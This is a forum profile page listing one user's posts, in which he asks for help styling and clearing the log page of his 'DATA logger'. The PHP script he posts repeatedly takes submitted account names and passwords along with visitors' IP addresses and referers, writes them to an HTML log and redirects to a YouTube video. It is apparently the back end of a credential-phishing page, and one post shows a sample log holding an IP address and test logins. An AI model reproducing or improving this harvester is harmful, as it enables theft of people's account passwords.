Jump to content

WKX

Members
  • Posts

    17
  • Joined

  • Last visited

WKX's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. The data? Well its generated from my php code then gets inserted into my .html file as a table
  2. I really do not know how to do that, I will look into it
  3. Something like this, this code will delete each row until the table is gone, but reappears on page refresh. Im looking to delete all created tables with one click. <button onclick="myFunction()">Try it</button> <script> function myFunction() { document.getElementById("main-table").deleteRow(0); } </script>
  4. I just want to delete all the created tables in the logs.html, not the whole file.
  5. Do you have any ideas, im stumped?
  6. Sorry I forgot to dump the source: I'm aware I could just erase the raw data in the .html file, but I just want to create an erase button if possible. Kind of like a clear form function, it will erase everything on submit. <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); $ip = $_SERVER['REMOTE_ADDR']; if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = "<center><table width='600' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center> <tr> <th>Information</th> <th>Account Data</th> </tr> <tr> <td>Date:</td> <td>" . $today . "</td> </tr> <tr> <td>Link:</td> <td>" . $ref . "</td> </tr> <tr> <td>IP:</td> <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td> </tr> <tr> <td>Account: </td> <td>" . $nam . "</td> </tr> <tr> <td>Password:</td> <td>" . $pas . "</td> </tr> </table>"; $filed = @fopen("logs.html", "a+"); @fwrite($filed, "$content\n\n"); @fclose($filed); } header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg'); exit; ?> <!DOCTYPE html> <title>Account Logs</title> <html> <style type="text/css"> .main-table { background-color:#000000;border-collapse:collapse; } .main-table th { background-color:#008000;color:white; } .main-table td, .main-table th { padding:4px;border:1px solid #008000; } a:link {color:#00FF00;} /* unvisited link */ a:visited {color:#00FF00;} /* visited link */ a:hover {color:#7FE817;} /* mouse over link */ a:active {color:#00FF00;} /* selected link */ body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; </STYLE> <body style="background-color:black;"> </body> </html>
  7. I just want to create a "Delete All" button on my HTML page for my DATA logger, so I can delete all my tables, when there is alot of tables that have been created:
  8. I got it fixed: <!DOCTYPE html> <title>Account Logs</title> <html> <style type="text/css"> .main-table { background-color:#000000;border-collapse:collapse; } .main-table th { background-color:#008000;color:white; } .main-table td, .main-table th { padding:4px;border:1px solid #008000; } a:link {color:#00FF00;} /* unvisited link */ a:visited {color:#00FF00;} /* visited link */ a:hover {color:#7FE817;} /* mouse over link */ a:active {color:#00FF00;} /* selected link */ body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; </STYLE> <body style="background-color:black;"> </body> </html> Thank you so much Ansego!
  9. updated: I just want the border around "Information" "Account Data" to show <!DOCTYPE html> <title>Account Logs</title> <html> <STYLE type=text/css> .main-table { border-collapse: collapse; } .main-table td { margin: 0px; padding: 0px; border: 1px solid #00FF00; padding: 4px 4px 4px 4px; } a:link {color:#00FF00;} /* unvisited link */ a:visited {color:#00FF00;} /* visited link */ a:hover {color:#7FE817;} /* mouse over link */ a:active {color:#00FF00;} /* selected link */ body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; table, td, th { border: 1px solid #00FF00; } th { background-color:green; color:white; } </STYLE> <body style="background-color:black;"> </body> </html> my php code: <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); $ip = $_SERVER['REMOTE_ADDR']; if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = "<center><table width='600' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center> <tr> <th>Information</th> <th>Account Data</th> </tr> <tr> <td>Date:</td> <td>" . $today . "</td> </tr> <tr> <td>Link:</td> <td>" . $ref . "</td> </tr> <tr> <td>IP:</td> <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td> </tr> <tr> <td>Account: </td> <td>" . $nam . "</td> </tr> <tr> <td>Password:</td> <td>" . $pas . "</td> </tr> <tr> <th>Information</th> <th>Account Data</th> </tr> </table>"; $filed = @fopen("logs.html", "a+"); @fwrite($filed, "$content\n\n"); @fclose($filed); } header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg'); exit; ?>
  10. and change the border color to green
  11. that code did not work I did mange to create a margin around the table and center it I just want two more things. 1) I just want to know how to change the color of the $content in table. 2) When the log is generated, have the logged IP address hyperlinked to "http://www.geoiptool.com/" Thank you so much Ansego Here is what I have so far in my php code: <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); $ip = $_SERVER['REMOTE_ADDR']; if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = "<center><table width='600' border='1' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center> <tr> <th>Information</th> <th>Account Data</th> </tr> <tr> <td>Date:</td> <td>" . $today . "</td> </tr> <tr> <td>Link:</td> <td>" . $ref . "</td> </tr> <tr> <td>IP:</td> <td>" . $ip . "</td> </tr> <tr> <td>Account: </td> <td>" . $nam . "</td> </tr> <tr> <td>Password:</td> <td>" . $pas . "</td> </tr> <tr> <th>Information</th> <th>Account Data</th> </tr> </table>"; $filed = @fopen("logs.html", "a+"); @fwrite($filed, "$content\n\n"); @fclose($filed); } header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg'); exit; ?> Here is what I have so far in my .html file: <!DOCTYPE html> <title>Account Logs</title> <html> <STYLE type=text/css> body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; table, td, th { border:1px solid green; } th { background-color:green; color:white; } </STYLE> <body style="background-color:black;"> </body> </html>
  12. I put the code above to create a margin around the table in my CSS tags in my .html file: <!DOCTYPE html> <title>Account Logs</title> <html> <STYLE type=text/css> body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; table { margin: 10px; /* Applies 10px space around each table */ } </STYLE> <body style="background-color:black;"> </body> </html> Nothing happened. I try'd changing the font color of the "Account Data" column via the .php file, but nothing happened, any ideas?
  13. This it how looks now! I just want to the Account Data section to be a different color and there to be a couple of spaces in between each table, I tryed inputing a color font into php but was getting error's
  14. Data: March 26, 2014, 7:19 am IP: 24.89.195.253 Account: test Password: test Data: March 26, 2014, 7:20 am IP: 24.89.195.253 Account: test2 Password: test2 looks awesome! I am going to see if I can change the color of the table lines white and change the color of the $content
  15. This is how the .html looked: [iP]: 24.89.195.253[Account]rrrrrfgh[Password]ghj [Date]: -March 25, 2014, 9:47 pm
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.